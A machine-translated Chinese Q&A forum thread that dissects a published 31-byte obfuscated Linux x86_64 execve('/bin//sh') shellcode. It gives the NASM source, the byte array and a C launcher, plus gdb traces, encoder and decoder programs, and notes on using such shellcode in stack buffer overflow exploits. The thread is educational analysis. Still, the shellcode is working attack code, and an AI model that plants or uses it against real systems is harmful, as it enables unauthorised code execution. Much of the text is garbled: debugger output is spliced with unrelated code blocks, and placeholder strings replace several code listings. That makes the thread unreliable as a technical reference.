该代码似乎是程序集和C的组合,看起来像这样: br />
/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux
;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell
global _start
_start:
mul esi
push rdx
mov al,1
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh
rol rbx,24
shr rbx,1
push rbx
lea rdi, [rsp] ;address of /bin//sh
add al,58
syscall
*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
main()
{
int (*ret)()=(int(*)()) code;
ret();
}
我很好奇,第17至40行分别是做什么的,以及这是如何完成攻击的?一个表达式为“ global _start”)
#1 楼
编辑:@EnricoGhirardi感谢您指出我之前发布的mul esi不准确性!首先,在下面的示例中,第一个指令mul esi将rax和rdx清零(这仅是因为rsi为0到首先)。最低有效位将存储在rax中,最高有效位将存储在rdx中。这两个寄存器均为零。编译测试代码后,我们可以使用以下代码对此进行验证:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gdb shellcode
**BANNER SNIPPED**
Dump of assembler code for function main:
0x00000000004004ed <+0>: push %rbp
0x00000000004004ee <+1>: mov %rsp,%rbp
0x00000000004004f1 <+4>: sub int execve(const char *filename, char *const argv[],
char *const envp[]);
x10,%rsp
0x00000000004004f5 <+8>: movq #include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
uint64_t rol(uint64_t v, unsigned int bits)
{
return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
}
int main(void)
{
uint64_t obfuscated = 0xd2c45ed0e65e5edc;
uint64_t deobfuscated = rol(obfuscated, 24);
deobfuscated /= 2;
printf("0x%" PRIx64 "\n", deobfuscated);
return 0;
}
x601060,-0x8(%rbp)
0x00000000004004fd <+16>: mov -0x8(%rbp),%rdx
0x0000000000400501 <+20>: mov _start:
mul esi ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
push rdx ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
mov al,1 ; used for obfuscation since mov al, 59 followed by syscall may look suspicious
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated
rol rbx,24 ; Deobfuscate the hex string /bin//sh
shr rbx,1 ; Division by 2 to further deobfuscate /bin//sh
push rbx ; Push the hex string on the top of the stack [in rsp]
lea rdi, [rsp] ; Load /bin//sh into rdi in little endian
; in linux 86_64 the first argument is passed to rdi during a syscall
add al,58 ; al = 59 i.e. call execve
syscall ; execve("/bin//sh", 0, *shellcode_buffer)
x0,%eax
0x0000000000400506 <+25>: callq *%rdx
0x0000000000400508 <+27>: leaveq
0x0000000000400509 <+28>: retq
End of assembler dump.
(gdb) b *0x0000000000400506
Breakpoint 1 at 0x400506
(gdb) c
The program is not being run.
(gdb) r
Breakpoint 1, 0x0000000000400506 in main ()
(gdb) si
0x0000000000601060 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>: mul %esi
0x0000000000601062 <+2>: push %rdx
0x0000000000601063 <+3>: mov $ nasm -felf64 shell.asm -o shell.o
$ ld shell.o -o shell
$ xxd shell
CONTENT SNIPPED
00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248 ..R..H..^^..^..H
00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500 ...H..SH.<$.:...
x1,%al
0x0000000000601065 <+5>: movabs unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
xd2c45ed0e65e5edc,%rbx
0x000000000060106f <+15>: rol #include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
uint64_t ror(uint64_t v, unsigned int bits)
{
return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
}
int main(void)
{
uint64_t deobfuscated = 0x68732f2f6e69622f;
uint64_t obfuscated = deobfuscated * 2;
obfuscated = ror(obfuscated, 24);
printf("0x%" PRIx64 "\n", obfuscated);
return 0;
}
x18,%rbx
0x0000000000601073 <+19>: shr %rbx
0x0000000000601076 <+22>: push %rbx
0x0000000000601077 <+23>: lea (%rsp),%rdi
0x000000000060107b <+27>: add q4312078qx3a,%al
0x000000000060107d <+29>: syscall
0x000000000060107f <+31>: add %al,(%rax)
End of assembler dump.
(gdb) i r rax rdx
rax 0x0 0
rdx 0x601060 6295648
(gdb) si
0x0000000000601062 in code ()
(gdb) i r rax rdx
rax 0x0 0
rdx 0x0 0
如我们所见,rax和rdx均为0,这意味着esi(或rsi)已乘以零。
这很重要,因为shellcode最终在第29行使用了syscall。我们可以看到在第29行的syscall之前加了al,58,其中al已经为1,因此rax寄存器的值将为59。
数字59是Linux x86_64 syscall表中execve的索引
execve将执行/ bin // sh。让我们检查一下函数原型:
q4312078q
根据原型的描述,文件名必须是二进制可执行文件或以“#”行开头的脚本!解释器[arg]“
我们将最终看到shellcode通过/ bin // sh作为此参数。
argv只是传递给二进制文件的参数。在这种情况下,参数为NULL,因为如前所述,rsi寄存器先前已在第20行清零。类似地,envp是传递给二进制文件的环境参数。再说一次,没有什么是因为我们已经看到mul%esi指令将rsi和rdx都清零了。在x86_64 Linux中,rsi和rdx寄存器分别是execve()的第二个和第三个参数。
您可以在此处找到有关x86_64调用约定的更多信息,以了解如何将参数传递给函数。
最后,execve中的第一个参数是/ bin // sh,最终将其传递到edi寄存器。 edi在Linux x86_64程序集中拥有第一个函数参数。
有趣的是,这是多态shellcode。我们可以将多态shellcode视为经过混淆的机器指令,这些指令在执行时对其进行自我混淆。
在第23行,ascii中的十六进制字符串0xd2c45ed0e65e5edc是ÒÄ^Ðæ^^Ü,这显然已被混淆。
第24行和第25行对字符串进行模糊处理,我们得到0x68732f2f6e69622f(ASCII中的hs // nib /)。这是/ bin // sh的反向拼写,因为参数以小尾数字节顺序传递给execve()。为了证明概念,您可以在gdb中运行代码,或使用以下反混淆我写道:
q4312078q
你会得到去混淆的十六进制字符串0x68732f2f6e69622f,它也是assii中的hs // nib /。将经过去模糊处理的/ bin // sh推入堆栈顶部(即rsp寄存器中),第27行将指向字符串/ bin // sh的地址加载到rdi中。同样,请注意,此字符串以小尾数字节顺序传递。现在我们可以清楚地看到/ bin // sh是execve()的第一个参数,然后,该外壳程序在第29行执行。
下面是一个注释的伪代码摘要:
q4312078q
对于C代码,表示第17-29行的已编译程序集的机器指令存储在全局变量中。我们可以使用以下命令从shellcode中检查字节:
q4312078q
如我们所见,它与C代码中的以下缓冲区匹配:
q4312078q
main中的代码只是将字符串缓冲区全局变量转换为一个函数指针,然后调用该函数指针,执行多态shellcode,并生成一个shell。 />最后,shellcode只是漏洞利用的可能部分。漏洞利用包含针对特定版本的程序和OS精确定制的输入。 Shellcode可以是有效负载的一部分,但是通过添加ASLR(地址堆栈布局随机化)和DEP(数据执行保护),操作系统变得更加安全,因此通常将函数指针覆盖到GOT(全局偏移表)中更加实用),而不是将shellcode注入缓冲区。假设您正在执行通用堆栈缓冲区溢出,则缓冲区的长度必须至少为0x19字节。您还需要更多空间来补偿其余的漏洞利用。换句话说,您将需要一个具有足够空间的缓冲区以适合Shellcode和其余的利用,以便覆盖堆栈上的RET地址,以将程序执行(RIP / EIP)重定向到Shellcode。
这只是一个示例,但是可以在漏洞利用程序中使用此Shellcode的更多方法。
回溯几步,如果esi / rsi不为0,则此shellcode可能会失败,因为如果它不为零,那么我们将有第二个参数传递给execve()甚至可能如果指令mul esi的结果溢出到edx中,则为第三个参数。如果在mul esi指令之前有一个xor esi指令,则shellcode会更可靠。他们只是采用原始字符串hs // nib /并以相反的顺序应用了反混淆指令。您可以使用以下代码进行概念验证:
q4312078q
您应该获得原始的混淆十六进制字符串0xd2c45ed0e65e5edc。
#2 楼
上面的答案在大多数情况下是正确的,但其中包含一些错误。我不能发表评论,因此我将在此答案中添加更正。@itsbriany正确指出%rax为零,但是只有在作者编写的特定启动器中才是这种情况。
定义ret函数时,未指定参数数量,因此对于C标准,可变函数。对于x86_64 ABI,如果一个函数具有可变参数,则AL(EAX的一部分)应保持用于保存该函数参数的向量寄存器的数量。 :
int (*ret)(void)=(int(*)()) code;
导致分段错误。
然后操作
mul esi
不会将%esi归零,如其他答案所示。在这种情况下,它将%esi和%eax相乘并将高位存储在%edx的低位存储在%eax中,从而清除%edx。 %esi从未被修改,实际上它仍然指向原始程序的argv数组。在另一个%esi具有无效值的程序中,shell代码也不起作用。
%edx也似乎无缘无故地被压入堆栈。
评论
感谢@itsbriany提供详尽的答案以及所有这些参考。
–x457812
15年11月26日在16:12
好答案!但是所讨论的代码远非多态的。
–mikalai
15年11月30日在19:57